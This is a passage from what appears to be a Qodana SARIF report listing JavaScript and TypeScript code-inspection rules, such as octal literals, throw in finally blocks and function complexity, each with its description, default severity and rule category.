`0`, `''`, `null`, `true`, `false`, or `undefined`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EqualityComparisonWithCoercionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSOctalInteger\",\n                \"shortDescription\": {\n                  \"text\": \"Octal integer\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a deprecated octal integer literal prefixed with '0' instead of '0o'. Such literals are not allowed in modern ECMAScript code, and using them in the strict mode is an error. To force this inspection for ES5 and ES3 language levels, select the 'Warn about obsolete octal literals in ES5- code' checkbox below.\",\n                  \"markdown\": \"Reports a deprecated octal integer literal prefixed with `0` instead of `0o`.  \\nSuch literals are not allowed in modern ECMAScript code, and using them in the strict mode is an error.  \\nTo force this inspection for ES5 and ES3 language levels, select the 'Warn about obsolete octal literals in ES5- code' checkbox below.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSOctalInteger\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Validity issues\",\n                      \"index\": 23,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ExceptionCaughtLocallyJS\",\n                \"shortDescription\": {\n                  \"text\": \"Exception used for local control-flow\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'throw' statement whose exceptions are always caught by the containing 'try' statement. Using 'throw' statements as a 'goto' to change the local flow of control is confusing.\",\n                  \"markdown\": \"Reports a `throw` statement whose exceptions are always caught by the containing `try` statement. Using `throw` statements as a `goto` to change the local flow of control is confusing.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ExceptionCaughtLocallyJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Try statement issues\",\n                      \"index\": 27,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ThrowFromFinallyBlockJS\",\n                \"shortDescription\": {\n                  \"text\": \"'throw' inside 'finally' block\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports s 'throw' statement inside a 'finally' block. Such 'throw' statements may mask exceptions thrown, and complicate debugging.\",\n                  \"markdown\": \"Reports s `throw` statement inside a `finally` block. Such `throw` statements may mask exceptions thrown, and complicate debugging.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ThrowInsideFinallyBlockJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Try statement issues\",\n                      \"index\": 27,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptValidateGenericTypes\",\n                \"shortDescription\": {\n                  \"text\": \"Incorrect generic type argument\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an invalid type argument in a function, interface, or class declaration.\",\n                  \"markdown\": \"Reports an invalid type argument in a function, interface, or class declaration.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptValidateGenericTypes\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CyclomaticComplexityJS\",\n                \"shortDescription\": {\n                  \"text\": \"Overly complex function\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function with too many branching points in a function (too high cyclomatic complexity). Such functions may be confusing and hard to test. Use the field provided below to specify the maximum acceptable cyclomatic complexity for a function.\",\n                  \"markdown\": \"Reports a function with too many branching points in a function (too high cyclomatic complexity). Such functions may be confusing and hard to test.\\n\\n\\nUse the field provided below to specify the maximum acceptable cyclomatic complexity for a function.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"OverlyComplexFunctionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Function metrics\",\n                      \"index\": 29,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSMismatchedCollectionQueryUpdate\",\n                \"shortDescription\": {\n                  \"text\": \"Mismatched query and update of collection\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a collection of fields or variables whose contents are either queried and not updated or updated and not queried. Such mismatched queries and updates are pointless and may indicate either dead code or a typographical error. Query methods are automatically detected, based on whether they return something, or a callback is passed to them. Use the table below to specify which methods are update methods.\",\n                  \"markdown\": \"Reports a collection of fields or variables whose contents are either queried and not updated or updated and not queried. Such mismatched queries and updates are pointless and may indicate either dead code or a typographical error.\\n\\n\\nQuery methods are automatically detected, based on whether they return something, or a callback is passed to them.\\nUse the table below to specify which methods are update methods.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSMismatchedCollectionQueryUpdate\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"PackageJsonMismatchedDependency\",\n                \"shortDescription\": {\n                  \"text\": \"Mismatched dependencies in package.json\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a dependency from package.json that is not installed or doesn't match the specified version range.\",\n                  \"markdown\": \"Reports a dependency from package.json that is not installed or doesn't match the specified [version range](https://docs.npmjs.com/about-semantic-versioning).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"PackageJsonMismatchedDependency\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Imports and dependencies\",\n                      \"index\": 42,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSPotentiallyInvalidUsageOfThis\",\n                \"shortDescription\": {\n                  \"text\": \"Potentially invalid reference to 'this' from closure\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'this' in closure that is used for referencing properties of outer context. Example: 'function Outer() {\\n  this.outerProp = 1;\\n  function inner() {\\n    // bad, because 'outerProp' of Outer\\n    // won't be updated here\\n    // on calling 'new Outer()' as may be expected\\n    this.outerProp = 2;\\n  }\\n  inner();\\n}'\",\n                  \"markdown\": \"Reports a `this` in closure that is used for referencing properties of outer context.\\n\\nExample:\\n\\n\\n    function Outer() {\\n      this.outerProp = 1;\\n      function inner() {\\n        // bad, because 'outerProp' of Outer\\n        // won't be updated here\\n        // on calling 'new Outer()' as may be expected\\n        this.outerProp = 2;\\n      }\\n      inner();\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSPotentiallyInvalidUsageOfThis\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSMissingSwitchDefault\",\n                \"shortDescription\": {\n                  \"text\": \"'switch' statement has no 'default' branch\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'switch' statement without a 'default' clause when some possible values are not enumerated.\",\n                  \"markdown\": \"Reports a `switch` statement without a `default` clause when some possible values are not enumerated.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSMissingSwitchDefault\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Switch statement issues\",\n                      \"index\": 47,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSXNamespaceValidation\",\n                \"shortDescription\": {\n                  \"text\": \"Missing JSX namespace\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a usage of a JSX construction without importing namespace. Having the namespace in the file scope ensures proper code compilation.\",\n                  \"markdown\": \"Reports a usage of a JSX construction without importing namespace. Having the namespace in the file scope ensures proper code compilation.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSXNamespaceValidation\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Imports and dependencies\",\n                      \"index\": 42,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSUnresolvedLibraryURL\",\n                \"shortDescription\": {\n                  \"text\": \"Missed locally stored library for HTTP link\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a URL of an external JavaScript library that is not associated with any locally stored file. Suggests downloading the library. Such association enables the IDE to provide proper code completion and navigation.\",\n                  \"markdown\": \"Reports a URL of an external JavaScript library that is not associated with any locally stored file. Suggests downloading the library. Such association enables the IDE to provide proper code completion and navigation.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSUnresolvedLibraryURL\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6PreferShortImport\",\n                \"shortDescription\": {\n                  \"text\": \"Import can be shortened\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an ES6 import whose 'from' part can be shortened. Suggests importing the parent directory.\",\n                  \"markdown\": \"Reports an ES6 import whose `from` part can be shortened. Suggests importing the parent directory.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6PreferShortImport\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"PointlessBitwiseExpressionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Bitwise expression can be simplified\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an expression that includes 'and' with zero, 'or' by zero, or shifting by zero. Such expressions may result from not fully completed automated refactorings.\",\n                  \"markdown\": \"Reports an expression that includes `and` with zero, `or` by zero, or shifting by zero. Such expressions may result from not fully completed automated refactorings.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"PointlessBitwiseExpressionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Bitwise operation issues\",\n                      \"index\": 17,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"InfiniteLoopJS\",\n                \"shortDescription\": {\n                  \"text\": \"Infinite loop statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'for', 'while', or 'do' statement which can only exit by throwing an exception. Such statements often indicate coding errors.\",\n                  \"markdown\": \"Reports a `for`, `while`, or `do` statement which can only exit by throwing an exception. Such statements often indicate coding errors.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"InfiniteLoopJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSStringConcatenationToES6Template\",\n                \"shortDescription\": {\n                  \"text\": \"String concatenation is used instead of template literal\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a string concatenation. Suggests replacing it with a template literal Example '\\\"result: \\\" + a + \\\".\\\"' After applying the quick-fix the code looks as follows: '`result: ${a}.`'\",\n                  \"markdown\": \"Reports a string concatenation. Suggests replacing it with a [template literal](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals)\\n\\nExample\\n\\n     \\\"result: \\\" + a + \\\".\\\" \\n\\nAfter applying the quick-fix the code looks as follows:\\n\\n     `result: ${a}.` \\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSStringConcatenationToES6Template\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/ES2015 migration aids\",\n                      \"index\": 18,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSArrowFunctionBracesCanBeRemoved\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant braces around arrow function body\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an arrow function whose body only consists of braces and exactly one statement. Suggests converting to concise syntax without braces. 'let incrementer = (x) => {return x + 1};' After the quick-fix is applied, the code fragment looks as follows: 'let incrementer = (x) => x + 1;'\",\n                  \"markdown\": \"Reports an arrow function whose body only consists of braces and exactly one statement. Suggests converting to concise syntax without braces.\\n\\n\\n        let incrementer = (x) => {return x + 1};\\n\\nAfter the quick-fix is applied, the code fragment looks as follows:\\n\\n\\n        let incrementer = (x) => x + 1;\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSArrowFunctionBracesCanBeRemoved\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Code style issues\",\n                      \"index\": 10,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ReplaceAssignmentWithOperatorAssignmentJS\",\n                \"shortDescription\": {\n                  \"text\": \"Assignment could be replaced with operator assignment\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an assignment operation that can be replaced by an operator assignment to make your code shorter and probably clearer. Example: 'x = x + 3;'\\n  'x = x / 3;'\\n After the quick fix is applied the result looks like:   'x += 3;'\\n  'x /= 3;'\",\n                  \"markdown\": \"Reports an assignment operation that can be replaced by an operator assignment to make your code shorter and probably clearer.\\n\\n\\nExample:\\n\\n      x = x + 3;\\n      x = x / 3;\\n\\nAfter the quick fix is applied the result looks like:\\n\\n      x += 3;\\n      x /= 3;\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"AssignmentReplaceableWithOperatorAssignmentJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Assignment issues\",\n                      \"index\": 34,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSFileReferences\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved file reference\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unresolved file reference in a JavaScript file, including CommonJS and AMD modules references.\",\n                  \"markdown\": \"Reports an unresolved file reference in a JavaScript file, including CommonJS and AMD modules references.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSFileReferences\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"Stylelint\",\n                \"shortDescription\": {\n                  \"text\": \"Stylelint\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a discrepancy detected by the Stylelint linter. The highlighting is based on the rule severity specified in the Stylelint configuration file for each individual rule.\",\n                  \"markdown\": \"Reports a discrepancy detected by the [Stylelint](http://stylelint.io) linter.   \\n\\nThe highlighting is based on the rule severity specified in the [Stylelint configuration file](https://stylelint.io/user-guide/configure) for each individual rule.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"Stylelint\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"CSS/Code quality tools\",\n                      \"index\": 56,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"FunctionWithInconsistentReturnsJS\",\n                \"shortDescription\": {\n                  \"text\": \"Function with inconsistent returns\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function that returns a value in some cases while in other cases no value is returned. This usually indicates an error. Example: 'function foo() {\\n  if (true)\\n    return 3;\\n  return;\\n}'\",\n                  \"markdown\": \"Reports a function that returns a value in some cases while in other cases no value is returned. This usually indicates an error.\\n\\nExample:\\n\\n\\n    function foo() {\\n      if (true)\\n        return 3;\\n      return;\\n    }\\n\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"FunctionWithInconsistentReturnsJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Validity issues\",\n                      \"index\": 23,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EmptyTryBlockJS\",\n                \"shortDescription\": {\n                  \"text\": \"Empty 'try' block\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an empty 'try' block, which usually indicates an error.\",\n                  \"markdown\": \"Reports an empty `try` block, which usually indicates an error.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EmptyTryBlockJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Try statement issues\",\n                      \"index\": 27,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6ClassMemberInitializationOrder\",\n                \"shortDescription\": {\n                  \"text\": \"Use of possibly unassigned property in a static initializer\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a class member initializer which references another non-hoisted class member while the latter may be not initialized yet. Initialization of class members happens consequently for fields, so a field cannot reference another field that is declared later.\",\n                  \"markdown\": \"Reports a class member initializer which references another non-hoisted class member while the latter may be not initialized yet.   \\n\\nInitialization of class members happens consequently for fields, so a field cannot reference another field that is declared later.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6ClassMemberInitializationOrder\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ReservedWordUsedAsNameJS\",\n                \"shortDescription\": {\n                  \"text\": \"Reserved word used as name\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a JavaScript reserved word used as a name. The JavaScript specification reserves a number of words which are currently not used as keywords. Using those words as identifiers may result in broken code if later versions of JavaScript start using them as keywords.\",\n                  \"markdown\": \"Reports a JavaScript reserved word used as a name. The JavaScript specification reserves a number of words which are currently not used as keywords. Using those words as identifiers may result in broken code if later versions of JavaScript start using them as keywords.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ReservedWordAsName\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Validity issues\",\n                      \"index\": 23,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSClassNamingConvention\",\n                \"shortDescription\": {\n                  \"text\": \"Class naming convention\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a class or a function that is annotated with a JSDoc '@constructor' or '@class' tag whose names are too short, too long, or do not follow the specified regular expression pattern. Use the fields provided below to specify minimum length, maximum length, and a regular expression expected for classes names. Use the standard 'java.util.regex' format for regular expressions.\",\n                  \"markdown\": \"Reports a class or a function that is annotated with a JSDoc `@constructor` or `@class` tag whose names are too short, too long, or do not follow the specified regular expression pattern.\\n\\n\\nUse the fields provided below to specify minimum length, maximum length, and a regular expression\\nexpected for classes names. Use the standard `java.util.regex` format for regular expressions.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSClassNamingConvention\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Naming conventions\",\n                      \"index\": 46,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptValidateJSTypes\",\n                \"shortDescription\": {\n                  \"text\": \"Type mismatch in 'any' type\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function call with a parameter, return value, or assigned expression or incorrect type, if the context symbol can be implicitly resolved to the 'any' type. declare var test: any;\\ntest.hasOwnProperty(true); //reports 'true'\",\n                  \"markdown\": \"Reports a function call with a parameter, return value, or assigned expression or incorrect type, if the context symbol can be implicitly resolved to the `any` type.\\n\\n```\\ndeclare var test: any;\\ntest.hasOwnProperty(true); //reports 'true'\\n```\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptValidateJSTypes\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"NestedFunctionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Nested function\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function nested inside another function. Although JavaScript allows functions to be nested, such constructs may be confusing. Use the checkbox below to ignore anonymous nested functions.\",\n                  \"markdown\": \"Reports a function nested inside another function. Although JavaScript allows functions to be nested, such constructs may be confusing.\\n\\n\\nUse the checkbox below to ignore anonymous nested functions.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"NestedFunctionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n                      \"index\": 24,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"XHTMLIncompatabilitiesJS\",\n                \"shortDescription\": {\n                  \"text\": \"Incompatible XHTML usages\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports common JavaScript DOM patterns which may present problems with XHTML documents. In particular, the patterns detected will behave completely differently depending on whether the document is loaded as XML or HTML. This can result in subtle bugs where script behaviour is dependent on the MIME-type of the document, rather than its content. Patterns detected include document.body, document.images, document.applets, document.links, document.forms, and document.anchors.\",\n                  \"markdown\": \"Reports common JavaScript DOM patterns which may present problems with XHTML documents. In particular, the patterns detected will behave completely differently depending on whether the document is loaded as XML or HTML. This can result in subtle bugs where script behaviour is dependent on the MIME-type of the document, rather than its content. Patterns detected include **document.body** , **document.images** , **document.applets** , **document.links** , **document.forms** , and 